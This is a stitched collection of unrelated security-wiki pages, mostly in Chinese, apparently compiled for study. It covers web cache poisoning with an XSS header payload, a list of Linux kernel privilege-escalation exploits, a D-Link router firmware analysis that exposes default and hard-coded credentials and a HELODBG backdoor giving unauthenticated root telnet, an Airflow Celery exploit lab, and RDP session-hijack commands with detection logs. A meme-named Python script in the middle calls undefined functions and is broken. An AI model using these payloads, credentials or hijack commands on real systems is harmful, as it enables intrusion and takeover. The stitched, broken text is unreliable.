4. Open a private tab with the previous URL : `https://www.example.com/myaccount/home/malicous.css`
5. The content of the cache is displayed
Video of the attack by Omer Gil - Web Cache Deception Attack in PayPal Home Page
[
**Example 2** - Web Cache Deception on OpenAI
1. Attacker crafts a dedicated .css path of the `/api/auth/session` endpoint.
2. Attacker distributes the link
3. Victims visit the legitimate link.
4. Response is cached.
5. Attacker harvests JWT Credentials.
## Methodology - Caching Custom JavaScript
1. Find an un-keyed input for a Cache Poisoning
```js
Values: User-Agent
Values: Cookie
Header: X-Forwarded-Host
Header: X-Host
Header: X-Forwarded-Server
Header: X-Forwarded-Scheme (header; also in combination with X-Forwarded-Host)
Header: X-Original-URL (Symfony)
Header: X-Rewrite-URL (Symfony)
```
2. Cache poisoning attack - Example for `X-Forwarded-Host` un-keyed input (remember to use a buster to only cache this webpage instead of the main page of the website)
```js
GET /test?buster=123 HTTP/1.1
Host: target.com
X-Forwarded-Host: test"><script>alert(1)</script>
HTTP/1.1 200 OK
Cache-Control: public, no-cache
[..]
<meta property="og:image" content="https://test"><script>alert(1)</script>">
```
## CloudFlare Caching
CloudFlare caches the resource when the `Cache-Control` header is set to `public` and `max-age` is greater than 0.
- The Cloudflare CDN does not cache HTML by default
- Cloudflare only caches based on file extension and not by MIME type: [cloudflare/default-cache-behavior](https://developers.cloudflare.com/cache/about/default-cache-behavior/)
CloudFlare has a list of default extensions that gets cached behind their Load Balancers.
| | | | | | | |
|-------|------|------|------|------|-------|------|
| 7Z | CSV | GIF | MIDI | PNG | TIF | ZIP |
| AVI | DOC | GZ | MKV | PPT | TIFF | ZST |
| AVIF | DOCX | ICO | MP3 | PPTX | TTF | CSS |
| APK | DMG | ISO | MP4 | PS | WEBM | FLAC |
| BIN | EJS | JAR | OGG | RAR | WEBP | MID |
| BMP | EOT | JPG | OTF | SVG | WOFF | PLS |
| BZ2 | EPS | JPEG | PDF | SVGZ | WOFF2 | TAR |
| CLASS | EXE | JS | PICT | SWF | XLS | XLSX |
## Labs
* [PortSwigger Labs for Web cache deception](https://portswigger.net/web-security/all-labs#web-cache-poisoning)
## References
* [Web Cache Deception Attack - Omer Gil](http://omergil.blogspot.fr/2017/02/web-cache-deception-attack.html)
* [Practical Web Cache Poisoning - James Kettle @albinowax](https://portswigger.net/blog/practical-web-cache-poisoning)
* [Web Cache Entanglement: Novel Pathways to Poisoning - James Kettle @albinowax](https://portswigger.net/research/web-cache-entanglement)
* [Web Cache Deception Attack leads to user info disclosure - Kunal pandey - Feb 25](https://medium.com/@kunal94/web-cache-deception-attack-leads-to-user-info-disclosure-805318f7bb29)
* [Web cache poisoning - Web Security Academy learning materials](https://portswigger.net/web-security/web-cache-poisoning)
- [Exploiting cache design flaws](https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws)
- [Exploiting cache implementation flaws](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws)
* [OpenAI Account Takeover - @naglinagli - Mar 24, 2023](https://twitter.com/naglinagli/status/1639343866313601024)
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sec-knowleage
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# Linux 提权 -- 依赖 exp 篇
### exp注：
```wiki
CVE-2017-1000367 [Sudo] (Sudo 1.8.6p7 - 1.8.20)
CVE-2017-1000112 [a memory corruption due to UFO to non-UFO path switch]
CVE-2017-7494 [Samba Remote execution] (Samba 3.5.0-4.6.4/4.5.10/4.4.14)
CVE-2017-7308 [a signedness issue in AF_PACKET sockets] (Linux kernel through 4.10.6)
CVE-2017-6074 [a double-free in DCCP protocol] (Linux kernel through 4.9.11)
CVE-2017-5123 ['waitid()'] (Kernel 4.14.0-rc4+)
CVE-2016-9793 [a signedness issue with SO_SNDBUFFORCE and SO_RCVBUFFORCE socket options] (Linux kernel before 4.8.14)
CVE-2016-5195 [Dirty cow] (Linux kernel>2.6.22 (released in 2007))
CVE-2016-2384 [a double-free in USB MIDI driver] (Linux kernel before 4.5)
CVE-2016-0728 [pp_key] (3.8.0, 3.8.1, 3.8.2, 3.8.3, 3.8.4, 3.8.5, 3.8.6, 3.8.7, 3.8.8, 3.8.9, 3.9, 3.10, 3.11, 3.12, 3.13,3.4.0, 3.5.0, 3.6.0, 3.7.0, 3.8.0, 3.8.5, 3.8.6, 3.8.9, 3.9.0, 3.9.6,3.10.0, 3.10.6, 3.11.0, 3.12.0, 3.13.0, 3.13.1)
CVE-2015-7547 [glibc getaddrinfo] (before Glibc 2.9)
CVE-2015-1328 [overlayfs] (3.13, 3.16.0, 3.19.0)
CVE-2014-5284 [OSSEC] (2.8)
CVE-2014-4699 [ptrace] (before 3.15.4)
CVE-2014-4014 [Local Privilege Escalation] (before 3.14.8)
CVE-2014-3153 [futex] (3.3.5 ,3.3.4 ,3.3.2 ,3.2.13 ,3.2.9 ,3.2.1 ,3.1.8 ,3.0.5 ,3.0.4 ,3.0.2 ,3.0.1 ,2.6.39 ,2.6.38 ,2.6.37 ,2.6.35 ,2.6.34 ,2.6.33 ,2.6.32 ,2.6.9 ,2.6.8,2.6.7 ,2.6.6 ,2.6.5 ,2.6.4 ,3.2.2 ,3.0.18 ,3.0 ,2.6.8.1)
CVE-2014-0196 [rawmodePTY] (2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36, 2.6.37, 2.6.38, 2.6.39, 3.14, 3.15)
CVE-2014-0038 [timeoutpwn] (3.4, 3.5, 3.6, 3.7, 3.8, 3.8.9, 3.9, 3.10, 3.11, 3.12, 3.13, 3.4.0, 3.5.0, 3.6.0, 3.7.0, 3.8.0, 3.8.5, 3.8.6, 3.8.9, 3.9.0, 3.9.6, 3.10.0, 3.10.6, 3.11.0, 3.12.0, 3.13.0, 3.13.1)
CVE-2013-2094 [perf_swevent] (3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.1.0, 3.2, 3.3, 3.4.0, 3.4.1, 3.4.2, 3.4.3, 3.4.4,3.4.5, 3.4.6, 3.4.8, 3.4.9, 3.5, 3.6, 3.7, 3.8.0, 3.8.1, 3.8.2, 3.8.3,3.8.4, 3.8.5, 3.8.6, 3.8.7, 3.8.8, 3.8.9)
CVE-2013-1858 [clown-newuser] (3.3-3.8)
CVE-2013-1763 [__sock_diag_rcv_msg] (before 3.8.3)
CVE-2013-0268 [msr] (2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26,2.6.27, 2.6.27, 2.6.28,2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36, 2.6.37,2.6.38, 2.6.39, 3.0.0,3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.1.0, 3.2, 3.3, 3.4, 3.5, 3.6, 3.7.0, 3.7.6)
CVE-2012-3524 [libdbus] (libdbus 1.5.x and earlier)
CVE-2012-0056 [memodipper] (2.6.39, 3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.1.0)
CVE-2010-4347 [american-sign-language] ( 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9,2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21,2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36)
CVE-2010-4258 [full-nelson] (2.6.31, 2.6.32, 2.6.35, 2.6.37)
CVE-2010-4073 [half_nelson] (2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9,2.6.10, 2.6.11, 2.6.12,2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21,2.6.22, 2.6.23, 2.6.24,2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33,2.6.34, 2.6.35, 2.6.36)
CVE-2010-3904 [rds] (2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36)
CVE-2010-3437 [pktcdvd] (2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9,2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21,2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36)
CVE-2010-3301 [ptrace_kmod2] (2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34)
CVE-2010-3081 [video4linux] (2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12,2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33)
CVE-2010-2959 [can_bcm] (2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36)
CVE-2010-1146 [reiserfs] (2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34)
CVE-2010-0415 [do_pages_move] (2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31)
CVE-2009-3547 [pipe.c_32bit] (2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.4.12, 2.4.13,2.4.14, 2.4.15, 2.4.16, 2.4.17, 2.4.18, 2.4.19, 2.4.20, 2.4.21, 2.4.22, 2.4.23, 2.4.24, 2.4.25,2.4.26, 2.4.27, 2.4.28,2.4.29, 2.4.30, 2.4.31, 2.4.32, 2.4.33, 2.4.34, 2.4.35, 2.4.36, 2.4.37,2.6.15, 2.6.16, 2.6.17,2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26,2.6.27, 2.6.28, 2.6.29,2.6.30, 2.6.31)
CVE-2009-2698 [udp_sendmsg_32bit] (2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19)
CVE-2009-2692 [sock_sendpage] (2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.4.12, 2.4.13,2.4.14, 2.4.15, 2.4.16,2.4.17, 2.4.18, 2.4.19, 2.4.20, 2.4.21, 2.4.22, 2.4.23, 2.4.24, 2.4.25, 2.4.26, 2.4.27, 2.4.28,2.4.29, 2.4.30, 2.4.31, 2.4.32, 2.4.33, 2.4.34, 2.4.35, 2.4.36, 2.4.37,2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12,2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30)
CVE-2009-2692 [sock_sendpage2] (2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.4.12, 2.4.13, 2.4.14, 2.4.15, 2.4.16, 2.4.17, 2.4.18, 2.4.19, 2.4.20, 2.4.21, 2.4.22, 2.4.23, 2.4.24, 2.4.25,2.4.26, 2.4.27, 2.4.28,2.4.29, 2.4.30, 2.4.31, 2.4.32, 2.4.33, 2.4.34, 2.4.35, 2.4.36, 2.4.37, 2.6.0, 2.6.1, 2.6.2,2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15,2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24,2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30)
CVE-2009-1337 [exit_notify] (2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29)
CVE-2009-1185 [udev] (2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29)
CVE-2008-4210 [ftrex] (2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19,2.6.20, 2.6.21, 2.6.22)
CVE-2008-0600 [vmsplice2] (2.6.23, 2.6.24)
CVE-2008-0600 [vmsplice1] (2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.24.1)
CVE-2006-3626 [h00lyshit] (2.6.8, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16)
CVE-2006-2451 [raptor_prctl] (2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17)
CVE-2005-0736 [krad3] (2.6.5, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11)
CVE-2005-1263 [binfmt_elf.c] (Linux kernel 2.x.x to 2.2.27-rc2, 2.4.x to 2.4.31-pre1, and 2.6.x to 2.6.12-rc4)
CVE-2004-1235 [elflbl] (2.4.29)
CVE-N/A [caps_to_root] (2.6.34, 2.6.35, 2.6.36)
CVE-2004-0077 [mremap_pte] (2.4.20, 2.2.24, 2.4.25, 2.4.26, 2.4.27)
```
### 已对外公开 exp 注：
https://github.com/SecWiki/linux-kernel-exploits
https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/
https://github.com/xairy/kernel-exploits
<p align="right">--By Micropoor </p>
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sec-knowleage
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from math import sqrt
def fail(memes, calcium):
dank = True
if calcium < memes:
if memes % calcium == 0:
dank = False
else:
wew = fail(memes, calcium + 1)
dank = wew
return dank
def epicfail(memes):
if memes > 1:
if dank(memes, 2):
return 1 + bill(memes - 1)
else:
return such(memes - 1)
return 0
def dootdoot(memes, seals):
if seals <= memes:
if seals == 0:
return 1
else:
if seals == memes:
return 1
else:
return dootdoot(memes - 1, seals - 1) + dootdoot(memes - 1, seals)
def such(memes):
wow = dootdoot(memes, 5)
if wow % 7 == 0:
wew = bill(memes - 1)
wow += 1
else:
wew = epicfail(memes - 1)
wow += wew
return wow
def brotherman(memes):
hues = 0
if memes != 0:
if memes < 3:
return 1
else:
wew = brotherman(memes - 1)
hues = wew
wew = brotherman(memes - 2)
hues += wew
return hues % 987654321
def bill(memes):
wow = fibonacci_mod_987654321(memes)
if wow % 3 == 0:
wew = such(memes - 1)
wow += 1
else:
wew = epicfail(memes - 1)
wow += wew
return wow
def me():
memes = 13379447
wew = epicfail(memes)
print(wew)
me()
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sec-knowleage
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# ModSecurity实现waf
## 安装与使用
```
# 操作系统：Centos7
# 解决依赖环境
yum install gcc.x86_64 libxml2-devel.x86_64 httpd.x86_64 httpd-devel.x86_64 pcre2.x86_64 pcre2-devel.x86_64 -y
# 安装mod_security
yum install mod_security.x86_64 -y
# 查看http 模块，结果如图
httpd -M | grep security
```
```
# 启动服务
systemctl start httpd.service
# mod_security配置文件
/etc/httpd/conf.d/mod_security.conf
# 规则目录
/etc/httpd/modsecurity.d/activated_rules
# 安装mod_security规则
yum -y install mod_security_crs
# 查看规则
```
```
# 测试url：http://10.10.10.5/<script>
# 查看日志
tail -n 1 -f /etc/httpd/logs/error_log
```
```
# 查看模块日志
tail -f /var/log/httpd/modsec_audit.log
```
## ModSecurity控制台waf-fle
[官网地址](http://www.waf-fle.org/)
[在线测试地址](http://demo.waf-fle.org/waf-fle/)
```
测试账号：waffle-demo
测试密码：waffle-demo
```
## 参考资料
[owasp mod_security](https://github.com/SpiderLabs/owasp-modsecurity-crs)
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sec-knowleage
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# Dlink_DWR-932B 路由器固件分析
<p align="center">
<img src="../../../../../assets/img/banner/Dlink_DWR-932.jpg">
</p>
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
## 获得固件
访问 Dlink 的 ftp 服务器
- ftp://ftp.dlink.eu/
这里下载 DWR-932_fw_revB_2_02_eu_en_20150709.zip 文件
- ftp://ftp.dlink.eu/Products/dwr/dwr-932/driver_software/
---
## 提取固件
解压,得到 DWR-932_B1_FW v.02.02EU.zip , 无法直接解压缩，会发现该固件被加了密，这是厂商对该固件做了保护，防止逆向分析固件。
可以用爆破工具爆破密码,这里省略这一步,解压密码是 beUT9Z
解压完毕,查看固件文件
有一些 yaffs2 格式的文件,这个需要用 [unyaffs](https://code.google.com/archive/p/unyaffs/downloads) 工具来提取,下载 unyaffs,配置权限,解压,查看解压的文件
```bash
mkdir test1
mv unyaffs test1
mv 2K-mdm-image-mdm9625.yaffs2 test1
cd test1
chmod +x unyaffs
./unyaffs 2K-mdm-image-mdm9625.yaffs2
```
---
## 信息挖掘
接下来,在提取的文件中挖掘一些有用的信息
```bash
find . -name "*.conf"
find . -name "shadow"
find . -name "passwd"
find . -name "*config*"
find . -name "*history*"
find . -name "*ssh*_config*"
find . -name "*ssh_host*"
```
在 inadyn-mt.conf 这个文件中找到 no-ip 应用的配置
查看 shadow 文件
这里可以使用 hashcat 或 John the Ripper 爆破 root 账号的密码
```
root:aRDiHrJ0OkehM:16270:0:99999:7:::
```
可以看到 root 密码是 1234
---
使用 firmwalker 工具来自动化遍历该固件系统中的所有可疑文件
```bash
git clone https://github.com/craigz28/firmwalker.git
./firmwalker.sh test1
```
---
## 查看启动项
```bash
cd etc/init.d
ls -l
total 252
-rwxr-xr-x 1 root root 2482 Sep 17 03:55 adbd
-rwxr-xr-x 1 root root 250 Sep 17 03:55 alignment.sh
-rwxr-xr-x 1 root root 4735 Sep 17 03:55 avahi-daemon
-rwxr-xr-x 1 root root 4490 Sep 17 03:55 avahi-dnsconfd
-rwxr-xr-x 1 root root 492 Sep 17 03:55 banner.sh
-rwxr-xr-x 1 root root 1529 Sep 17 03:55 bootlogd
-rwxr-xr-x 1 root root 1680 Sep 17 03:55 bootmisc.sh
-rwxr-xr-x 1 root root 681 Sep 17 03:55 busybox-cron
-rwxr-xr-x 1 root root 3229 Sep 17 03:55 checkroot.sh
-rwxr-xr-x 1 root root 151 Sep 17 03:55 chgrp-diag
-rwxr-xr-x 1 root root 1591 Sep 17 03:55 data-init
-rwxr-xr-x 1 root root 2781 Sep 17 03:55 dbus-1
-rwxr-xr-x 1 root root 526 Sep 17 03:55 devpts.sh
-rwxr-xr-x 1 root root 408 Sep 17 03:55 diagrebootapp
-rwxr-xr-x 1 root root 2674 Sep 17 03:55 dropbear
-rw-r--r-- 1 root root 1123 Sep 17 03:55 functions
-rwxr-xr-x 1 root root 510 Sep 17 03:55 halt
-rwxr-xr-x 1 root root 270 Sep 17 03:55 hostname.sh
-rwxr-xr-x 1 root root 2402 Sep 17 03:55 hwclock.sh
-rwxr-xr-x 1 root root 348 Sep 17 03:55 keymap.sh
-rwxr-xr-x 1 root root 169 Sep 17 03:55 mdev
-rwxr-xr-x 1 root root 168 Sep 17 03:55 modem-shutdown
-rwxr-xr-x 1 root root 878 Sep 17 03:55 modutils.sh
-rwxr-xr-x 1 root root 859 Sep 17 03:55 mountall.sh
-rwxr-xr-x 1 root root 1399 Sep 17 03:55 mountnfs.sh
-rwxr-xr-x 1 root root 783 Sep 17 03:55 netmgrd
-rwxr-xr-x 1 root root 1463 Sep 17 03:55 networking
-rwxr-xr-x 1 root root 5114 Sep 17 03:55 populate-volatile.sh
-rwxr-xr-x 1 root root 10835 Sep 17 03:55 power_config
-rwxr-xr-x 1 root root 1136 Sep 17 03:55 qmi_shutdown_modemd
-rwxr-xr-x 1 root root 610 Sep 17 03:55 qmuxd
-rwxr-xr-x 1 root root 368 Sep 17 03:55 qrngd
-rwxr-xr-x 1 root root 4346 Sep 17 03:55 rc
-rwxr-xr-x 1 root root 525 Sep 17 03:55 rcS
-rwxr-xr-x 1 root root 2015 Sep 17 03:55 reboot
-rwxr-xr-x 1 root root 159 Sep 17 03:55 reset_reboot_cookie
-rwxr-xr-x 1 root root 585 Sep 17 03:55 rmnologin.sh
-rwxr-xr-x 1 root root 609 Sep 17 03:55 run-postinsts
-rwxr-xr-x 1 root root 321 Sep 17 03:55 save-rtc.sh
-rwxr-xr-x 1 root root 438 Sep 17 03:55 sendsigs
-rwxr-xr-x 1 root root 978 Sep 17 03:55 set-hwver.sh
-rwxr-xr-x 1 root root 1836 Sep 17 03:55 shutdown
-rwxr-xr-x 1 root root 578 Sep 17 03:55 single
-rwxr-xr-x 1 root root 2178 Sep 17 03:55 start_appmgr
-rwxr-xr-x 1 root root 2138 Sep 17 03:55 start_ipacm_le
-rwxr-xr-x 1 root root 764 Sep 17 03:55 start_QCMAP_ConnectionManager_le
-rwxr-xr-x 1 root root 1001 Sep 17 03:55 start_qti_le
lrwxrwxrwx 1 root root 8 Sep 17 03:55 stop-bootlogd -> bootlogd
-rwxr-xr-x 1 root root 540 Sep 17 03:55 sysfs.sh
lrwxrwxrwx 1 root root 14 Sep 17 03:55 syslog -> syslog.busybox
-rwxr-xr-x 1 root root 1559 Sep 17 03:55 syslog.busybox
-rwxr-xr-x 1 root root 659 Sep 17 03:55 thermal-engine
-rwxr-xr-x 1 root root 516 Sep 17 03:55 umountfs
-rwxr-xr-x 1 root root 686 Sep 17 03:55 umountnfs.sh
-rwxr-xr-x 1 root root 1349 Sep 17 03:55 urandom
-rwxr-xr-x 1 root root 5005 Sep 17 03:55 usb
-rwxr-xr-x 1 root root 8116 Sep 17 03:55 wlan
```
这里可以看一下 `start_appmgr` 脚本，mgr 一般就是主控程序的意思
```
less start_appmgr
```
该脚本会在开机的时候以服务的形式运行 `/bin/appmgr` 程序。
同时该脚本还会开启 telnet 服务
---
## appmgr 分析
用 IDA 打开 `/bin/appmgr` 程序看看
main 函数下 F5,可以发现有一个线程会持续监听 0.0.0.0:39889（UDP），并等待传入控制命令,如果某个用户向目标路由器发送了一个 `HELODBG` 字符串，那么路由器将会执行 `/sbin/telnetd -l /bin/sh` ，并允许这名用户在未经身份验证的情况下以 root 用户的身份登录路由器。
**默认 admin 账号**
搜索 mod_sysadm_config_passwd 函数
路由器的管理员账号。设备的管理员账号默认为“admin”，而密码同样也是“admin”。
**默认 WPS PIN 码**
搜索 wifi_get_default_wps_pin 函数
默认配置下，该路由器 WPS 系统的 PIN 码永远都是 `28296607` 因为这个 PIN 码是硬编码在 `/bin/appmgr` 程序中
---
## fotad 分析
路由器与 FOTA 服务器进行通信时的凭证数据硬编码在 `/sbin/fotad` 代码中，我们用 IDA 进行分析
搜索 sub_CAAC 函数,可以发现被 base64 过的凭证
用户/密码如下
```
cWRwYzpxZHBj qdpc:qdpc
cWRwZTpxZHBl qdpe:qdpe
cWRwOnFkcA== qdp:qdp
```
---
## UPnP 安全问题
UPnP 允许用户动态添加防火墙规则。因为这种做法会带来一定的安全风险，因此设备通常都会对这种操作进行限制，以避免不受信任的客户端添加不安全的防火墙规则。
UPnP 的不安全性早在2006年就已经是众所周知的事情了。而该路由器中 UPnP 程序的安全等级仍然非常的低，处于局域网内的攻击者可以随意修改路由器的端口转发规则。
文件 `/var/miniupnpd.conf` 是由 `/bin/appmgr` 程序生成的：
搜索 sub_2AE0C 函数
该程序会生成 `/var/miniupnpd.conf`：
```
ext_ifname=rmnet0
listening_ip=bridge0
port=2869
enable_natpmp=yes
enable_upnp=yes
bitrate_up=14000000
bitrate_down=14000000
secure_mode=no # "secure" mode : when enabled, UPnP client are allowed to add mappings only to their IP.
presentation_url=http://192.168.1.1
system_uptime=yes
notify_interval=30
upnp_forward_chain=MINIUPNPD
upnp_nat_chain=MINIUPNPD
```
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## Source & Reference
- [【技术分享】Dlink DWR-932B路由器被爆多个安全漏洞](https://www.anquanke.com/post/id/84671)
- [IoT_Sec_Tutorial/02-静态分析IoT固件/README.md](https://github.com/G4rb3n/IoT_Sec_Tutorial/blob/master/02-%E9%9D%99%E6%80%81%E5%88%86%E6%9E%90IoT%E5%9B%BA%E4%BB%B6/README.md)
- [Rooting Dlink DWR-932 (4G router) | LinkedIn](https://www.linkedin.com/pulse/rooting-dlink-dwr-923-4g-router-gianni-carabelli/)
- [Multiple vulnerabilities found in the Dlink DWR-932B (backdoor, backdoor accounts, weak WPS, RCE ...)](https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html)
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### 静态分析原生层程序基本方法
静态分析原生层程序基本的过程如下
1. 提取 so 文件
2. ida 反编译 so 文件阅读 so 代码
3. 根据 java 层的代码来分析 so 代码。
4. 根据 so 代码的逻辑辅助整个程序的分析。
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# Apache Airflow Celery 消息中间件命令执行（CVE-2020-11981）
Apache Airflow是一款开源的，分布式任务调度框架。在其1.10.10版本及以前，如果攻击者控制了Celery的消息中间件（如Redis/RabbitMQ），将可以通过控制消息，在Worker进程中执行任意命令。
由于启动的组件比较多，可能会有点卡，运行此环境可能需要准备2G以上的内存。
参考链接：
- <https://lists.apache.org/thread/cn57zwylxsnzjyjztwqxpmly0x9q5ljx>
- <https://github.com/apache/airflow/pull/9178>
## 漏洞环境
依次执行如下命令启动airflow 1.10.10
```bash
#初始化数据库
docker compose run airflow-init
#启动服务
docker compose up -d
```
## 漏洞利用
利用这个漏洞需要控制消息中间件，Vulhub环境中Redis存在未授权访问。通过未授权访问，攻击者可以下发自带的任务`airflow.executors.celery_executor.execute_command`来执行任意命令，参数为命令执行中所需要的数组。
我们可以使用[exploit_airflow_celery.py](exploit_airflow_celery.py)这个小脚本来执行命令`touch /tmp/airflow_celery_success`：
```bash
pip install redis
python exploit_airflow_celery.py [your-ip]
```
查看结果：
```bash
docker compose logs airflow-worker
```
可以看到如下任务消息：
```bash
docker compose exec airflow-worker ls -l /tmp
```
可以看到成功创建了文件`airflow_celery_success`：
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# T1563-002-win-远程服务会话劫持-RDP劫持
## 来自ATT&CK的描述
攻击者可能会劫持合法用户的远程桌面会话用以在内网环境中横向移动。远程桌面是操作系统中的常见功能。它允许用户使用远程系统上的系统桌面图形用户界面登录到交互式会话。Microsoft 将其远程桌面协议 (RDP) 的实现称为远程桌面服务 (RDS)。
攻击者可能会进行RDP会话劫持，包括窃取合法用户的远程会话。通常情况下，当别人试图窃取他们的会话时，用户会得到通知。通过系统权限和使用终端服务控制台，c:\windows\system32\tscon.exe[要窃取的会话号码]，攻击者可以劫持一个会话，而不需要凭证或提示用户。这可以在远程或本地进行，也可以在活动或断开的会话中进行。
它还可以通过窃取域管理员或更高权限的帐户会话来导致远程系统发现和权限提升。所有这些都可以通过使用本机Windows命令来完成，但它也已作为红队工具中的一项能力。
## 测试案例
### 测试1 RDP hijacking
RDP劫持--如何透明地劫持RDS和RemoteApp会话，以便在内网中移动。
测试命令。用命令提示符运行， 需要提升等级（如root或admin）。
```
query user
sc.exe create sesshijack binpath= "cmd.exe /k tscon #{Session_ID} /dest:#{Destination_ID}"
net start sesshijack
```
Session_ID：1337
Destination_ID：rdp-tcp#55
清除命令：
```
sc.exe delete sesshijack >nul 2>&1
```
## 检测日志
windows 安全日志、Windows sysmon日志
## 测试复现
### 测试1 RDP hijacking
```
C:\Users\Administrator.ZHULI>query user
用户名 会话名 ID 状态 空闲时间 登录时间
>administrator console 1 运行中 无 2022/1/13 16:10
C:\Users\Administrator.ZHULI>sc.exe create sesshijack binpath= "cmd.exe /k tscon 1 /dest:1"
[SC] CreateService 成功
C:\Users\Administrator.ZHULI>net start sesshijack
服务没有响应控制功能。
请键入 NET HELPMSG 2186 以获得更多的帮助。
```
由于测试样机，无RDP登陆会话，故测试未成功复现。
## 测试留痕
### 测试1 RDP hijacking
```
Process Create:
RuleName: technique_id=T1059,technique_name=Command-Line Interface
UtcTime: 2022-01-13 08:17:07.755
ProcessGuid: {78c84c47-e003-61df-3f01-000000000900}
ProcessId: 2640
Image: C:\Windows\System32\sc.exe
FileVersion: 10.0.17763.1 (WinBuild.160101.0800)
Description: Service Control Manager Configuration Tool
Product: Microsoft® Operating System
Company: Microsoft Corporation
OriginalFileName: sc.exe
CommandLine: sc.exe create sesshijack binpath= "cmd.exe /k tscon 1 /dest:1"
CurrentDirectory: C:\Users\Administrator.ZHULI\
User: ZHULI\Administrator
LogonGuid: {78c84c47-de8c-61df-d399-0a0000000000}
LogonId: 0xA99D3
TerminalSessionId: 1
IntegrityLevel: High
